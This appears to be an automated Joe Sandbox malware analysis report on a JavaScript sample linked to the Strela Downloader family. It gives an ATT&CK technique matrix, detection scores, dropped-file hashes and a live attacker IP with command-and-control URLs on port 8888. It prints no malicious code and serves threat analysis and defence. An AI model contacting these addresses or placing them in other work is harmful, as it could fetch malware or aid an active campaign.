Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
62212369534426657.js	0%	ReversingLabs
62212369534426657.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pace	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2244377005.000002497B800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3468031985.00000249762D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2245725966.000001F5FFEE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2245725966.000001F5FFF19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2245725966.000001F5FFEE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2245725966.000001F5FFF3B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587745
Start date and time:	2025-01-10 17:31:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	62212369534426657.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 50.16.47.176, 18.213.11.84, 34.237.241.83, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.16.168.107, 2.16.168.105, 23.209.209.135, 23.204.152.210, 23.204.152.213, 13.107.246.45, 20.109.210.53, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:32:38	API Interceptor	28x Sleep call for process: powershell.exe modified
11:32:42	API Interceptor	1x Sleep call for process: net.exe modified
11:32:42	API Interceptor	2x Sleep call for process: svchost.exe modified
11:32:55	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18938150912509528417.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1697943393056527466.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263135762941741
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0u:9JZj5MiKNnNhoxu/
MD5:	45AB67ECB6B8B97062F5C707533DAA70
SHA1:	673ACC91EC997EFD0F7381205FD358A1CBE35563
SHA-256:	F2235BD8D57A07D4B1F6D5C96E57741CA3E272263100CC6F2322A4F56B7D83C8
SHA-512:	AE9595E12091D010DA34863AD88C28E7F2F911E2104FAD17F0D4194DCDCB4156066D3480AA2DFD3B4A221449BEE026BFD292F63713883DBE965E0BC87AD5434E
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x674160aa, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555841656325496
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	9DAAA7F787E38D052545FC37AA5A3A82
SHA1:	A1D69C8AB2B03FDAF69DF7D8EC6B636FC4026A92
SHA-256:	A5471D10909C0C31CAFC516F83DDF13D3059DE71AFD261D979629DD41C49AF92
SHA-512:	27292058FD336C6530B629A66A973EEC3F8361D6512440A715EC59790857F08D566B0D202FF9E6B7E1ECEEECE0C263886E83927FB7B680132A931332E424A3D1
Malicious:	false
Preview:	gA`.... .......7.......X\...;...{......................0.e......!...{?.* ...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................h..* ...}..................&u.* ...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07927677316778572
Encrypted:	false
SSDEEP:	3:3M2KYe4P8dKqfNaAPaU1lIvkP//alluxmO+l/SNxOf:HKzI8dTNDPaUA8P/GgmOH
MD5:	2829798C37ADB8CBEF21BEC3E46C33C1
SHA1:	B5B94CA5959FD0FBA5293F23B6B6A4A62910D6D6
SHA-256:	BBCA898E042059A8C941BA21B5B8C1CCC89F7AF7DA36F51E62B4CA62636FC0DB
SHA-512:	3D51BA1BF8C50BE754C39D88422F448E94B51BFC2AB164B7F321A82D81F006CA0680CF6E5D1459C988E6D08D60BE1E682D2E19B0430B20B0076FD5755DA26830
Malicious:	false
Preview:	]........................................;...{..* ...}...!...{?..........!...{?..!...{?..g...!...{?.................&u.* ...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.119242099834375
Encrypted:	false
SSDEEP:	6:iO4PfEKIq2PN72nKuAl9OmbnIFUtSPfuZZmwsPfuzkwON72nKuAl9OmbjLJ:7k8bvVaHAahFUtay/A+5OaHAaSJ
MD5:	5A91AFFEABE1763F3896790E22A791BD
SHA1:	875876477A05AABA891C25DFFA9EBE82AE5A72FB
SHA-256:	E304B84EF9921CE3E3946246432A4EBE4B4458D703B77818103707DF42E35B26
SHA-512:	5A4B535A63EE4BC385E708F4D3E76134ABF06450124F368715BBC4711B889B64B7F16ABD3B83DE5CA255A8C58C127A729EEE616DB109C89FF260254FB1667B31
Malicious:	false
Preview:	2025/01/10-11:32:42.520 1370 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:32:42.550 1370 Recovering log #3.2025/01/10-11:32:42.550 1370 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.119242099834375
Encrypted:	false
SSDEEP:	6:iO4PfEKIq2PN72nKuAl9OmbnIFUtSPfuZZmwsPfuzkwON72nKuAl9OmbjLJ:7k8bvVaHAahFUtay/A+5OaHAaSJ
MD5:	5A91AFFEABE1763F3896790E22A791BD
SHA1:	875876477A05AABA891C25DFFA9EBE82AE5A72FB
SHA-256:	E304B84EF9921CE3E3946246432A4EBE4B4458D703B77818103707DF42E35B26
SHA-512:	5A4B535A63EE4BC385E708F4D3E76134ABF06450124F368715BBC4711B889B64B7F16ABD3B83DE5CA255A8C58C127A729EEE616DB109C89FF260254FB1667B31
Malicious:	false
Preview:	2025/01/10-11:32:42.520 1370 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:32:42.550 1370 Recovering log #3.2025/01/10-11:32:42.550 1370 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.108802140091899
Encrypted:	false
SSDEEP:	6:iO4Pf4UWhq2PN72nKuAl9Ombzo2jMGIFUtSPfJ+ZZmwsPfJ+zkwON72nKuAl9OmT:7kxWhvVaHAa8uFUtah+Z/Ah+z5OaHAaU
MD5:	B1F62A11DBF2D4FD61CC219F2F420445
SHA1:	F05C28A46EB7107DAD12515CE387D1F310BD535A
SHA-256:	554D7E52346C0C98CE0FA8433296A7C267A7C0E95CC38930318E5C94BBDF37E9
SHA-512:	03D68A08259109B45D183A4DCA99BF9DE8BA6D7718DAA0F46A61B50AFB0BEB4BAFDEA7C9F618B639BC2839C67125F86BEC03891CB39DDF3476257497F51F6764
Malicious:	false
Preview:	2025/01/10-11:32:42.582 13e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:32:42.583 13e0 Recovering log #3.2025/01/10-11:32:42.583 13e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.108802140091899
Encrypted:	false
SSDEEP:	6:iO4Pf4UWhq2PN72nKuAl9Ombzo2jMGIFUtSPfJ+ZZmwsPfJ+zkwON72nKuAl9OmT:7kxWhvVaHAa8uFUtah+Z/Ah+z5OaHAaU
MD5:	B1F62A11DBF2D4FD61CC219F2F420445
SHA1:	F05C28A46EB7107DAD12515CE387D1F310BD535A
SHA-256:	554D7E52346C0C98CE0FA8433296A7C267A7C0E95CC38930318E5C94BBDF37E9
SHA-512:	03D68A08259109B45D183A4DCA99BF9DE8BA6D7718DAA0F46A61B50AFB0BEB4BAFDEA7C9F618B639BC2839C67125F86BEC03891CB39DDF3476257497F51F6764
Malicious:	false
Preview:	2025/01/10-11:32:42.582 13e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:32:42.583 13e0 Recovering log #3.2025/01/10-11:32:42.583 13e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.965394134849512
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlsBdOg2HVcaq3QYiubcP7E4T3y:Y2sRdsHdMHU3QYhbA7nby
MD5:	4A8FFFD9B03156E6DD7AF1E2E5C7C820
SHA1:	6D45500712FC700943C6CFF3ACCFB7D0DC05D434
SHA-256:	26C20068221DABE7F7829A4D6592B1E60071C78899253557BD8185D0216E1B8E
SHA-512:	D7DCE26D03C96347035151CB31AFB3C17C253366A8088FEA1DAAD190BCD587619F004D1EFF2DD4307316DB2DBEAB4B0A2B58BA5C2D61FD8FCD0C0BEF66A40BC1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086774676437","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132726},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c1b3e469-8ed9-45d2-9278-08655266db9d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.965394134849512
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlsBdOg2HVcaq3QYiubcP7E4T3y:Y2sRdsHdMHU3QYhbA7nby
MD5:	4A8FFFD9B03156E6DD7AF1E2E5C7C820
SHA1:	6D45500712FC700943C6CFF3ACCFB7D0DC05D434
SHA-256:	26C20068221DABE7F7829A4D6592B1E60071C78899253557BD8185D0216E1B8E
SHA-512:	D7DCE26D03C96347035151CB31AFB3C17C253366A8088FEA1DAAD190BCD587619F004D1EFF2DD4307316DB2DBEAB4B0A2B58BA5C2D61FD8FCD0C0BEF66A40BC1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086774676437","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132726},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.246181385792072
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7t/ztA:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhI
MD5:	D4CFE214C65B88B915A9385A0ABCC8BA
SHA1:	A5986BB689F52A614609193F4DD52F542D401EF0
SHA-256:	CC243B96FCA383F6251BF2BF66F0ACE78A6467A61588EE1F84AFF4ADA59A7A74
SHA-512:	A964F50E82D66663D88D43CCDDF6DF156833C6B205D5DF99DA8EE74D4DFAFA903ED741F0EFF766870C47D1EB4BC39F9F94E79E81EA4C3EF0E81EC14FE5554749
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.125225617081321
Encrypted:	false
SSDEEP:	6:iO4PfeIq2PN72nKuAl9OmbzNMxIFUtSPfSUZmwsPfBkwON72nKuAl9OmbzNMFLJ:7kfvVaHAa8jFUta5/Ap5OaHAa84J
MD5:	BD6ED0E2392AD4E832B81FE6343B2318
SHA1:	E973E68055C1794F8EF70B9D5385AB7B766B40F0
SHA-256:	D5A7A9FD3B6D549556946B5D01BF5B4ACC9F612DE537F74CC02547DF995DCC8E
SHA-512:	81719EF296E7257A14BCD6AACF1D0146F674B67D85175B01496BAA57C5E623969543604421CCA29B29508F0D546EC623D1F0B331E47187A55FC30E0680E7EB2E
Malicious:	false
Preview:	2025/01/10-11:32:42.888 13e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:32:42.889 13e0 Recovering log #3.2025/01/10-11:32:42.890 13e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.125225617081321
Encrypted:	false
SSDEEP:	6:iO4PfeIq2PN72nKuAl9OmbzNMxIFUtSPfSUZmwsPfBkwON72nKuAl9OmbzNMFLJ:7kfvVaHAa8jFUta5/Ap5OaHAa84J
MD5:	BD6ED0E2392AD4E832B81FE6343B2318
SHA1:	E973E68055C1794F8EF70B9D5385AB7B766B40F0
SHA-256:	D5A7A9FD3B6D549556946B5D01BF5B4ACC9F612DE537F74CC02547DF995DCC8E
SHA-512:	81719EF296E7257A14BCD6AACF1D0146F674B67D85175B01496BAA57C5E623969543604421CCA29B29508F0D546EC623D1F0B331E47187A55FC30E0680E7EB2E
Malicious:	false
Preview:	2025/01/10-11:32:42.888 13e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:32:42.889 13e0 Recovering log #3.2025/01/10-11:32:42.890 13e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44462507569609
Encrypted:	false
SSDEEP:	384:ie3ci5tliBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:vOs3OazzU89UTTgUL
MD5:	9874C9D52F32F426E17FA94BFAF61A89
SHA1:	5C92D329F09BEA1FFB9F7D7407B8262A79EF2B56
SHA-256:	4E69F8724E25F0FB20918CCFF96202F5ACC8EC2177F584BDB8E06141D4D34EBA
SHA-512:	4A0B05CA3C1313D990D50656A79B7C67618B31596EBB3962244FA6D21BF5E21C2904000527B3169FCBD78E70F187E875AB561F8C040AB3EEEBC96B259E469FD6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214635582358049
Encrypted:	false
SSDEEP:	24:7+tXnnuwK8qL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9B:7MXnC8q/mFTIF3XmHjBoGGR+jMz+Lhf
MD5:	B6F3AA0598628AC76A54B52067F46131
SHA1:	E4C3B4DB2207A599CB97A624CF265046C728684B
SHA-256:	166A95658D2D635EE22D7A7B0231F8182B61A2DDB6020118BF8B07E7C23BA4C4
SHA-512:	2D0B841C0D24F5DE4887E2691F814CF98210C7166323E430A229615A66625A0EE775EF78C651474C265BE394E83495669866F5834DCB1DD73DD3EFFC7F517BC3
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklk5U/ltfllXlE/HT8kWltNNX8RolJuRdxLlGB9lQRYwpDdt:kK95UteT83lTNMa8RdWBwRd
MD5:	7605517D9F11F4F9F6357A46D6DFC188
SHA1:	246854FEDD7F1DAB1B936B5114F022CB7CC8DD01
SHA-256:	9ED18A7F4DD73880FB8FA412410BC3E68EB7A17B023EA3EB83443058A23C3767
SHA-512:	CC142C946870BC8A3A54EA051355BAEFF1A74704FC3BAAD17F8F1583C04C40AF98B9EB0ADE07BE9B2AF67E2A6C788C77F7B871C1757D956C6D066420AAF02F61
Malicious:	false
Preview:	p...... ..........:M}c..(....................................................... ..........W....m...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
